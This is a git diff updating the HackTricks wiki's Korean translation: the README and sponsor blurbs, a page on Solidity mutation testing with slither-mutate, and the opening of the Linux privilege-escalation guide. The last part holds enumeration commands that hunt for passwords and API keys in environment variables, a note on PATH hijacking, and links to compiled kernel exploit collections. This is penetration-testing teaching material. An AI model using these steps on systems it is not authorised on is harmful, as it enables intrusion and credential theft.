diff --git a/src/README.md b/src/README.md
index c09178fbe..5833f04ce 100644
--- a/src/README.md
+++ b/src/README.md
@@ -2,9 +2,9 @@
-_Hacktricks 로고 및 모션 디자인_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
+_Hacktricks 로고 및 모션 디자인 제작자_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
-### HackTricks를 로컬에서 실행하기
+### 로컬에서 HackTricks 실행하기
```bash
# Download latest version of hacktricks
git clone https://github.com/HackTricks-wiki/hacktricks
@@ -31,21 +31,19 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
-Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
+로컬에 있는 HackTricks 복사본은 **[http://localhost:3337](http://localhost:3337)** 에서 <5분 후 사용 가능합니다(책을 빌드해야 하므로 잠시 기다려 주세요).
-당신의 로컬 HackTricks 복사본은 <5분 후 **[http://localhost:3337](http://localhost:3337)**에서 이용할 수 있습니다(책을 빌드해야 하므로 잠시 기다려 주세요).
-
-## Corporate Sponsors
+## 기업 스폰서
### [STM Cyber](https://www.stmcyber.com)
-[**STM Cyber**](https://www.stmcyber.com)은 슬로건이 **HACK THE UNHACKABLE**인 훌륭한 사이버보안 회사입니다. 자체 연구를 수행하고 자체 해킹 도구를 개발하여 pentesting, Red teams 및 교육과 같은 **여러 가치 있는 사이버보안 서비스를 제공합니다**.
+[**STM Cyber**](https://www.stmcyber.com)는 슬로건이 **HACK THE UNHACKABLE**인 훌륭한 사이버보안 회사입니다. 자체 연구를 수행하고 자체 해킹 도구를 개발하여 pentesting, Red teams 및 교육과 같은 여러 가지 가치 있는 사이버보안 서비스를 **제공합니다**.
-그들의 **블로그**는 [**https://blog.stmcyber.com**](https://blog.stmcyber.com)에서 확인할 수 있습니다
+그들의 **블로그**는 [**https://blog.stmcyber.com**](https://blog.stmcyber.com)에서 확인할 수 있습니다.
-**STM Cyber**는 또한 HackTricks와 같은 사이버보안 오픈 소스 프로젝트를 지원합니다 :)
+**STM Cyber**는 또한 HackTricks 같은 사이버보안 오픈소스 프로젝트를 지원합니다 :)
---
@@ -53,7 +51,7 @@ Your local copy of HackTricks will be **available at [http://localhost:3337](htt
-[**RootedCON**](https://www.rootedcon.com)은 **스페인**에서 가장 중요한 사이버보안 행사이자 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식의 증진**이라는 사명을 가지고 이 컨퍼런스는 모든 분야의 기술 및 사이버보안 전문가들이 모이는 활발한 만남의 장입니다.
+[**RootedCON**](https://www.rootedcon.com)은 **Spain**에서 가장 영향력 있는 사이버보안 행사이자 **Europe**에서 가장 중요한 행사 중 하나입니다. **the mission of promoting technical knowledge**라는 목표로 기술 및 사이버보안 분야의 다양한 전문가들이 모이는 핵심 만남의 장입니다.
{{#ref}}
https://www.rootedcon.com/
@@ -65,9 +63,9 @@ https://www.rootedcon.com/
-**Intigriti**는 **유럽의 #1** ethical hacking 및 **bug bounty 플랫폼**입니다.
+**Intigriti**는 **Europe's #1** ethical hacking 및 **bug bounty platform.**
-**Bug bounty tip**: **Intigriti**에 **가입**하세요 — 해커가 만들고 해커를 위해 만든 프리미엄 bug bounty 플랫폼입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에 가입하여 최대 **$100,000**의 보상을 받아보세요!
+Bug bounty 팁: 해커가 만든 해커를 위한 프리미엄 bug bounty platform인 **Intigriti**에 **가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 시작하여 최대 **$100,000**의 보상을 받기 시작하세요!
{{#ref}}
https://go.intigriti.com/hacktricks
@@ -80,7 +78,7 @@ https://go.intigriti.com/hacktricks
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 손쉽게 구축하고 자동화하세요.
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)을 사용하여 세계에서 가장 **진보된** 커뮤니티 도구로 구동되는 워크플로를 쉽게 구축하고 **자동화**하세요.
지금 이용해보세요:
@@ -94,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
+[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하여 경험 많은 hackers 및 bug bounty hunters와 소통하세요!
-- **Hacking Insights:** 해킹의 짜릿함과 도전 과제를 다루는 콘텐츠를 접하세요
-- **Real-Time Hack News:** 빠르게 변화하는 해킹 세계의 뉴스와 인사이트를 실시간으로 확인하세요
-- **Latest Announcements:** 새로 출시되는 bug bounty와 중요한 플랫폼 업데이트 정보를 받아보세요
+- **Hacking Insights:** 해킹의 스릴과 도전 과제를 다루는 콘텐츠를 접하세요
+- **Real-Time Hack News:** 실시간 뉴스와 인사이트로 빠르게 변화하는 해킹 세계의 최신 소식을 확인하세요
+- **Latest Announcements:** 새로 시작되는 bug bounties와 중요한 플랫폼 업데이트를 놓치지 마세요
-**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
+**지금 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 참여하고 최고의 hackers와 협업을 시작하세요!**
---
@@ -110,9 +108,9 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
**Get a hacker's perspective on your web apps, network, and cloud**
-**웹 애플리케이션, 네트워크 및 클라우드에 대해 해커의 관점으로 진단하세요**
+웹 앱, 네트워크 및 클라우드에 대해 hacker의 관점을 얻으세요.
-**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
+**Find and report critical, exploitable vulnerabilities with real business impact.** 20개 이상의 맞춤 도구를 사용하여 공격 표면을 맵핑하고, 권한 상승을 유도하는 보안 문제를 찾고, 자동화된 exploits를 통해 필수 증거를 수집하여 여러분의 노력을 설득력 있는 보고서로 전환하세요.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -124,14 +122,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-**SerpApi**는 검색 엔진 결과에 실시간으로 빠르고 쉽게 접근할 수 있는 API를 제공합니다. 그들은 검색 엔진을 크롤링하고, 프록시를 처리하며, 캡차를 해결하고, 모든 구조화된 풍부한 데이터를 파싱해 줍니다.
+**SerpApi**는 검색 엔진 결과에 **실시간으로 접근(access search engine results)**할 수 있는 빠르고 쉬운 API를 제공합니다. 검색 엔진을 스크랩하고, 프록시를 관리하며, 캡차를 해결하고, 모든 구조화된 리치 데이터를 파싱해 줍니다.
-SerpApi의 구독 플랜 하나로 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크래핑하는 50개 이상의 API에 접근할 수 있습니다.\
-다른 제공자와 달리, **SerpApi는 단순히 유기적 결과만 스크래핑하지 않습니다**. SerpApi 응답에는 광고, 인라인 이미지 및 비디오, knowledge graphs 등 검색 결과에 포함된 모든 요소와 기능이 일관되게 포함됩니다.
+SerpApi의 구독은 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크래핑하기 위한 50개 이상의 API 접근을 포함합니다.
+다른 제공자와 달리, **SerpApi는 단순히 organic results만 스크랩하지 않습니다.** SerpApi 응답에는 광고, 인라인 이미지와 동영상, 지식 그래프 등 검색 결과에 포함된 모든 요소가 일관되게 포함됩니다.
-현재 SerpApi 고객에는 **Apple, Shopify, GrubHub**가 포함됩니다.\
-자세한 내용은 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**playground**](https://serpapi.com/playground)에서 예제를 실행해 보세요.\
-[**여기**](https://serpapi.com/users/sign_up)에서 무료 계정을 생성할 수 있습니다.
+현재 SerpApi 고객에는 **Apple, Shopify, and GrubHub**가 포함됩니다.
+자세한 내용은 그들의 [**blog**](https://serpapi.com/blog/)**,** 또는 [**playground**](https://serpapi.com/playground)**에서 예제를 시도해 보세요.**
+**무료 계정 생성**은 [**여기**](https://serpapi.com/users/sign_up)**에서 가능합니다.**
---
@@ -139,7 +137,7 @@ SerpApi의 구독 플랜 하나로 Google, Bing, Baidu, Yahoo, Yandex 등 다양
-모바일 애플리케이션과 기기를 보호하기 위해 취약점 연구, 침투 테스트, 리버스 엔지니어링에 필요한 기술과 역량을 배우세요. **iOS 및 Android 보안**을 온디맨드 코스로 학습하고 **인증**을 받으세요:
+모바일 애플리케이션과 기기를 보호하기 위한 vulnerability research, penetration testing, 및 reverse engineering에 필요한 기술과 역량을 배우세요. 온디맨드 과정을 통해 iOS와 Android 보안을 마스터하고 **get certified** 하세요:
{{#ref}}
https://academy.8ksec.io/
@@ -151,13 +149,13 @@ https://academy.8ksec.io/
-[**WebSec**](https://websec.net)는 **암스테르담**에 본사를 둔 전문 사이버보안 회사로, **전 세계 기업들을 보호**하기 위해 현대적인 접근 방식으로 **offensive-security services**를 제공합니다.
+[**WebSec**](https://websec.net)는 **Amsterdam**에 본사를 둔 전문 사이버보안 회사로, **offensive-security services**를 모던한 접근 방식으로 제공하여 전 세계 비즈니스를 최신 사이버 위협으로부터 **protecting** 합니다.
-WebSec는 암스테르담과 Wyoming에 사무소를 둔 국제 보안 회사입니다. 그들은 Pentesting, **Security** 감사, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing 등 **올인원 보안 서비스**를 제공합니다.
+WebSec는 Amsterdam과 Wyoming에 오피스를 둔 국제 보안 회사입니다. 이들은 Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing 등 **all-in-one security services**를 제공합니다.
-WebSec의 또 다른 장점은 업계 평균과 달리 스스로의 역량에 **매우 자신감**을 가지고 있으며, 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다: "**If we can't hack it, You don't pay it!**". 자세한 내용은 그들의 [**웹사이트**](https://websec.net/en/)와 [**블로그**](https://websec.net/blog/)를 확인하세요!
+또한 WebSec는 업계 평균과 달리 자신들의 역량에 대해 매우 자신감을 가지고 있으며, 웹사이트에 명시된 바와 같이 "**If we can't hack it, You don't pay it!**" 라는 품질 보장을 제공합니다. 자세한 내용은 그들의 [**website**](https://websec.net/en/) 및 [**blog**](https://websec.net/blog/)를 확인하세요!
-또한 WebSec는 HackTricks의 적극적인 후원사입니다.
+또한 WebSec는 HackTricks의 헌신적인 서포터이기도 합니다.
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@@ -169,9 +167,9 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons)는 데이터 유출 (leak) 검색 엔진입니다. \
-우리는 대형이든 소형이든 모든 유형의 데이터 leak에 대해 구글과 유사한 랜덤 문자열 검색을 제공합니다 -- 대형 사례뿐만 아니라 다양한 출처의 데이터를 대상으로 합니다. \
-사람 검색, AI 검색, 조직 검색, API (OpenAPI) 접근, theHarvester 통합 등 pentester가 필요로 하는 모든 기능을 제공합니다.\
+[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons)는 data breach (leak) 검색 엔진입니다.
+우리는 여러 출처의 데이터에 대해 크고 작은 모든 유형의 data leaks에 걸쳐 랜덤 문자열 검색(google 유사)을 제공합니다 -- 큰 유출뿐만 아니라 작은 유출까지 모두 포함합니다.
+People search, AI search, organization search, API (OpenAPI) access, theHarvester integration 등 pentester가 필요로 하는 모든 기능을 제공합니다.
**HackTricks는 계속해서 우리 모두에게 훌륭한 학습 플랫폼이며, 저희는 이를 후원하게 되어 자랑스럽습니다!**
{{#ref}}
@@ -185,13 +183,13 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
-**Built for the field. Built around you.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks)는 업계 전문가들이 설계하고 주도하는 효과적인 사이버보안 교육을 개발하고 제공합니다. 그들의 프로그램은 이론을 넘어 실제 위협을 반영한 맞춤형 환경을 사용하여 팀에게 깊이 있는 이해와 실전 가능한 기술을 제공합니다. 맞춤형 교육 문의는 [**여기**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks)를 통해 문의하세요.
+**Built for the field. Built around you.**
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks)는 업계 전문가들이 설계하고 주도하는 효과적인 사이버보안 교육을 개발하고 제공합니다. 이들의 프로그램은 이론을 넘어 실무 중심의 깊이 있는 이해와 실행 가능한 기술을 팀에 제공합니다. 실제 위협을 반영한 맞춤 환경을 사용하며, 맞춤형 교육 문의는 [**여기**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks)로 연락하세요.
-**그들의 교육이 특별한 이유:**
-* 맞춤형 콘텐츠 및 실습 환경
-* 최고 수준의 도구 및 플랫폼 지원
-* 현업 실무자가 설계하고 강의
+**그들의 교육이 돋보이는 이유:**
+* 맞춤 제작된 콘텐츠와 랩
+* 최고 수준의 도구와 플랫폼으로 지원
+* 실무자가 설계하고 강의
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@@ -203,13 +201,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
-Last Tower Solutions는 **교육(Education)** 및 **핀테크(FinTech)** 기관을 위한 전문화된 사이버보안 서비스를 제공하며, 특히 **penetration testing, cloud security assessments**, 및 **compliance readiness**(SOC 2, PCI-DSS, NIST)에 중점을 둡니다. 우리 팀에는 **OSCP 및 CISSP 자격 보유 전문가**가 포함되어 있어 깊은 기술 전문성과 업계 표준 통찰을 제공합니다.
+Last Tower Solutions는 Education 및 FinTech 기관을 위한 전문화된 사이버보안 서비스를 제공하며, 특히 penetration testing, cloud security assessments 및 compliance readiness (SOC 2, PCI-DSS, NIST)에 중점을 둡니다. 우리 팀에는 **OSCP and CISSP certified professionals**가 포함되어 있어 깊은 기술 전문성과 업계 표준에 기반한 인사이트를 제공합니다.
-우리는 자동화된 스캔을 넘어 **수동 기반의 인텔리전스 주도 테스트**를 통해 고위험 환경에 맞춤형 테스트를 제공합니다. 학생 기록 보호에서 금융 거래 보안에 이르기까지, 중요한 자산을 방어할 수 있도록 돕습니다.
+우리는 자동화 스캔을 넘어서 **manual, intelligence-driven testing**을 통해 고위험 환경에 맞춘 테스트를 제공합니다. 학생 기록 보호부터 금융 거래 보호까지, 중요한 자산을 방어하도록 돕습니다.
-_“질 좋은 방어는 공격을 이해하는 데서 시작됩니다. 우리는 이해를 통한 보안을 제공합니다.”_
+_“질 좋은 방어는 공격을 아는 데서 시작되며, 우리는 이해를 통해 보안을 제공합니다.”_
-최신 사이버보안 소식을 보려면 그들의 [**블로그**](https://www.lasttowersolutions.com/blog)를 방문하세요.
+최신 사이버보안 소식과 업데이트는 그들의 [**blog**](https://www.lasttowersolutions.com/blog)에서 확인하세요.
{{#ref}}
https://www.lasttowersolutions.com/
@@ -219,11 +217,11 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
-
+
-K8Studio IDE는 DevOps, DevSecOps 및 개발자들이 Kubernetes 클러스터를 효율적으로 관리, 모니터링 및 보호할 수 있도록 지원합니다. AI 기반 인사이트, 고급 보안 프레임워크 및 직관적인 CloudMaps GUI를 활용하여 클러스터를 시각화하고 상태를 파악하며 자신 있게 조치할 수 있습니다.
+K8Studio IDE는 DevOps, DevSecOps 및 개발자가 Kubernetes 클러스터를 효율적으로 관리, 모니터링 및 보호할 수 있도록 지원합니다. AI 기반 인사이트, 고급 보안 프레임워크 및 직관적인 CloudMaps GUI를 활용하여 클러스터를 시각화하고 상태를 파악하며 자신 있게 조치할 수 있습니다.
-또한 K8Studio는 모든 주요 kubernetes 배포판(AWS, GCP, Azure, DO, Rancher, K3s, Openshift 등)과 **호환됩니다**.
+또한 K8Studio는 주요 모든 kubernetes 배포판(AWS, GCP, Azure, DO, Rancher, K3s, Openshift 등)과 **호환**됩니다.
{{#ref}}
https://k8studio.io/
@@ -232,15 +230,15 @@ https://k8studio.io/
---
-## License & Disclaimer
+## 라이선스 및 면책사항
-다음에서 확인하세요:
+확인하기:
{{#ref}}
welcome/hacktricks-values-and-faq.md
{{#endref}}
-## Github Stats
+## Github 통계

diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 6d276923d..561fe52fb 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -950,4 +950,4 @@
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
-- [Cookies Policy](todo/cookies-policy.md)
\ No newline at end of file
+- [Cookies Policy](todo/cookies-policy.md)
diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
index 4713b9baf..11525f997 100644
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
-Mutation testing은 "tests your tests" 방식으로, Solidity 코드에 작은 변경사항(mutants)을 체계적으로 도입하고 test suite를 다시 실행합니다. 테스트가 실패하면 해당 mutant는 제거(killed)됩니다. 테스트가 여전히 통과하면 mutant는 생존하여 line/branch coverage로는 탐지할 수 없는 테스트 스위트의 맹점을 드러냅니다.
+Mutation testing은 Solidity 코드에 작은 변경(mutants)을 체계적으로 도입하고 테스트 스위트를 다시 실행함으로써 "테스트를 테스트"합니다. 테스트가 실패하면 해당 뮤턴트는 killed됩니다. 테스트가 여전히 통과하면 뮤턴트는 살아남아 line/branch coverage로는 탐지할 수 없는 테스트 스위트의 맹점을 드러냅니다.
-핵심 아이디어: Coverage는 코드가 실행되었음을 보여주고; mutation testing은 실제로 동작이 검증되었는지를 보여줍니다.
+핵심 아이디어: Coverage는 코드가 실행되었음을 보여주고; mutation testing은 동작이 실제로 단언(asserted)되었는지를 보여줍니다.
-## 왜 Coverage는 오도할 수 있는가
+## Coverage가 오도할 수 있는 이유
-다음의 간단한 임계값 체크를 살펴보자:
+다음의 간단한 threshold 검사를 고려해보자:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@@ -18,94 +18,94 @@ return false;
}
}
```
-단위 테스트가 임계값 아래와 위의 값만 검사하면, equality boundary (==)에 대한 어설션 없이도 라인/분기 커버리지 100%에 도달할 수 있습니다. `deposit >= 2 ether`로 리팩터링하면 이런 테스트를 통과해 프로토콜 로직이 은밀히 깨질 수 있습니다.
+Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic.
-뮤테이션 테스트는 조건을 변형(mutate)하고 테스트가 실패하는지 확인함으로써 이 간극을 드러냅니다.
+Mutation testing exposes this gap by mutating the condition and verifying your tests fail.
-## 일반적인 Solidity mutation 연산자
+## Common Solidity mutation operators
-Slither의 mutation 엔진은 다음과 같은 작은 의미 변경 편집을 적용합니다:
-- 연산자 교체: `+` ↔ `-`, `*` ↔ `/`, 등
-- 할당 교체: `+=` → `=`, `-=` → `=`
-- 상수 교체: 0이 아닌 값 → `0`, `true` ↔ `false`
-- `if`/루프 내부 조건 부정/교체
-- 전체 라인 주석 처리 (CR: Comment Replacement)
-- 한 줄을 `revert()`로 교체
-- 데이터 타입 교체 예: `int128` → `int64`
+Slither’s mutation engine applies many small, semantics-changing edits, such as:
+- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, etc.
+- Assignment replacement: `+=` → `=`, `-=` → `=`
+- Constant replacement: non-zero → `0`, `true` ↔ `false`
+- Condition negation/replacement inside `if`/loops
+- Comment out whole lines (CR: Comment Replacement)
+- Replace a line with `revert()`
+- Data type swaps: e.g., `int128` → `int64`
-목표: 생성된 뮤턴트 100%를 제거하거나, 생존한 뮤턴트에 대해 명확한 근거로 정당화하세요.
+Goal: Kill 100% of generated mutants, or justify survivors with clear reasoning.
-## slither-mutate로 뮤테이션 테스트 실행하기
+## Running mutation testing with slither-mutate
-요구사항: Slither v0.10.2+.
+Requirements: Slither v0.10.2+.
-- 옵션 및 mutators 나열:
+- List options and mutators:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
-- Foundry 예시 (결과를 캡처하고 전체 로그를 보관):
+- Foundry 예제 (결과 캡처 및 전체 로그 보관):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
-- Foundry를 사용하지 않는 경우 `--test-cmd`를 테스트를 실행하는 방식(예: `npx hardhat test`, `npm test`)으로 바꿔주세요.
+- Foundry를 사용하지 않는 경우, `--test-cmd`을(를) 테스트 실행 방법(예: `npx hardhat test`, `npm test`)으로 바꿔주세요.
-아티팩트와 리포트는 기본적으로 `./mutation_campaign`에 저장됩니다. 검출되지 않은(생존한) mutants는 검사 목적으로 그곳에 복사됩니다.
+아티팩트와 리포트는 기본적으로 `./mutation_campaign`에 저장됩니다. 검출되지 않은(생존한) mutants는 검사를 위해 그곳에 복사됩니다.
### 출력 이해하기
-리포트 행은 다음과 같습니다:
+리포트 라인은 다음과 같습니다:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- 대괄호 안의 태그는 뮤테이터 별칭입니다 (예: `CR` = Comment Replacement).
-- `UNCAUGHT`는 변경된 동작 하에서 테스트가 통과했음을 의미합니다 → 누락된 assertion.
+- `UNCAUGHT`는 변형된 동작 하에서 테스트가 통과했음을 의미합니다 → 누락된 assertion.
-## Reducing runtime: prioritize impactful mutants
+## 실행 시간 단축: 영향력 있는 뮤턴트 우선
-Mutation 캠페인은 몇 시간에서 며칠까지 걸릴 수 있습니다. 비용을 줄이기 위한 팁:
-- Scope: 먼저 중요한 contracts/디렉터리만 대상으로 시작한 다음 확장하세요.
-- Prioritize mutators: 한 줄에서 우선순위가 높은 mutant가 생존하면(예: 전체 줄이 주석 처리됨) 해당 줄에 대해 낮은 우선순위 변형은 건너뛸 수 있습니다.
-- Parallelize tests if your runner allows it; cache dependencies/builds.
-- Fail-fast: 변경이 명확히 assertion 간극을 보여줄 때 조기에 중단하세요.
+Mutation 캠페인은 수시간에서 수일이 걸릴 수 있습니다. 비용을 줄이기 위한 팁:
+- 범위: 핵심 contracts/디렉토리부터 시작한 뒤 확장하세요.
+- 뮤테이터 우선순위 지정: 한 줄에서 우선순위가 높은 뮤턴트가 생존하는 경우(예: 전체 줄 주석 처리) 해당 줄의 낮은 우선순 변형은 건너뛸 수 있습니다.
+- 러너에서 허용하면 테스트를 병렬화하세요; 의존성/빌드를 캐시하세요.
+- Fail-fast: 변경이 명백히 assertion 격차를 보여주면 조기에 중단하세요.
-## Triage workflow for surviving mutants
+## 생존한 뮤턴트에 대한 트리아지 워크플로우
-1) 변경된 라인과 동작을 검사하세요.
-- 변경된 라인을 적용하고 집중된 테스트를 실행해 로컬에서 재현하세요.
+1) 변경된 줄과 동작을 검사합니다.
+- 변경된 줄을 적용하고 특정 테스트를 실행해 로컬에서 재현하세요.
-2) 테스트를 강화해 반환값뿐 아니라 상태를 단언하세요.
-- 동등성 경계 검사 추가(예: test threshold `==`).
-- 사후 조건을 단언: 잔액, 총 공급량, 권한 효과, 발생한 이벤트 등.
+2) 테스트를 강화하여 상태(state)를 단언(assert)하세요, 반환값만이 아니라.
+- 동등성 경계 검사 추가(예: 임계값 `==` 테스트).
+- 후조건을 단언: 잔액, 총 공급량(total supply), 권한 영향(authorization effects), 발생한 이벤트(emitted events).
3) 지나치게 관대한 mocks를 현실적인 동작으로 교체하세요.
-- mocks가 온체인에서 발생하는 전송, 실패 경로, 이벤트 발생을 강제하는지 확인하세요.
+- mocks가 체인 상에서 발생하는 전송(transfers), 실패 경로(failure paths), 이벤트 발생(event emissions)을 강제하도록 하세요.
-4) fuzz 테스트를 위한 불변식 추가.
-- 예: 가치 보존, 음수가 아닌 잔액, 권한 불변식, 적용 가능한 경우 단조 증가하는 공급 등.
+4) 퍼즈(fuzz) 테스트를 위한 불변성(invariants)을 추가하세요.
+- 예: 가치 보존(conservation of value), 음수 불가 잔액(non-negative balances), 권한 불변성, 적용 가능한 경우 단조 증가하는 공급량(monotonic supply).
-5) 생존한 뮤턴트가 제거되거나 명시적으로 정당화될 때까지 slither-mutate를 다시 실행하세요.
+5) slither-mutate를 다시 실행하여 생존자가 제거되거나 명확히 정당화될 때까지 반복하세요.
-## Case study: revealing missing state assertions (Arkis protocol)
+## 사례 연구: 누락된 상태 단언 드러내기 (Arkis protocol)
-Arkis DeFi protocol 감사 중 실행한 mutation 캠페인에서 다음과 같은 생존자들이 나타났습니다:
+Arkis DeFi protocol의 감사 중 수행된 뮤테이션 캠페인에서 다음과 같은 생존자가 나타났습니다:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
-주석 처리로 할당을 제거해도 테스트가 깨지지 않았으므로 post-state assertions가 누락되었음이 입증됨. 근본 원인: 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value` 를 신뢰함. 공격자는 기대된 전송과 실제 전송을 비동기화시켜 자금을 유출할 수 있음. 결과: 프로토콜 지급능력(solency)에 대한 높은 심각도 위험.
+할당문을 주석 처리해도 테스트가 깨지지 않았는데, 이는 사후 상태 검증(post-state assertions)이 누락되었음을 증명한다. 근본 원인: 코드가 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value`를 신뢰했다. 공격자는 기대된 전송과 실제 전송을 비동기화시켜 자금을 탈취할 수 있다. 결과: 프로토콜 지급능력에 대한 높은 심각도 위험.
-Guidance: 값 전송, 회계(accounting) 또는 접근 제어에 영향을 주는 survivors는 삭제(kill)될 때까지 고위험으로 취급하라.
+지침: 가치 전송(value transfers), 회계(accounting) 또는 접근 제어(access control)에 영향을 미치는 survivors는 제거(killed)될 때까지 고위험으로 간주하라.
## 실무 체크리스트
- Run a targeted campaign:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Triage survivors and write tests/invariants that would fail under the mutated behavior.
-- 잔액, 공급(supply), 권한(authorizations), 및 이벤트를 검증(assert)하라.
-- 경계 테스트 추가 (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
-- 비현실적인 mocks를 교체하고 실패 모드를 시뮬레이션하라.
-- 모든 mutants가 kill되거나 주석과 근거로 정당화될 때까지 반복하라.
+- Assert balances, supply, authorizations, and events.
+- Add boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Replace unrealistic mocks; simulate failure modes.
+- Iterate until all mutants are killed or justified with comments and rationale.
## References
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 1fd9d89d5..af4c04057 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -6,7 +6,7 @@
### OS 정보
-실행 중인 OS에 대해 알아보자
+실행 중인 OS에 대한 정보를 수집해봅시다.
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@@ -14,28 +14,28 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Path
-만약 **`PATH` 변수 안의 어떤 폴더에 대해 쓰기 권한이 있다면** 일부 라이브러리나 바이너리를 하이재킹할 수 있습니다:
+만약 **have write permissions on any folder inside the `PATH`** 라면 일부 라이브러리나 바이너리를 hijack할 수 있습니다:
```bash
echo $PATH
```
### 환경 정보
-환경 변수에 흥미로운 정보(비밀번호나 API 키 등)가 있나요?
+환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있나요?
```bash
(env || set) 2>/dev/null
```
### Kernel exploits
-kernel 버전을 확인하고, escalate privileges에 사용할 수 있는 exploit이 있는지 확인하세요.
+커널 버전을 확인하고 권한 상승에 사용할 수 있는 exploit이 있는지 확인하세요.
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
-여기에서 좋은 취약한 커널 목록과 일부 **compiled exploits**를 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
-다음 사이트들에서도 일부 **compiled exploits**를 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
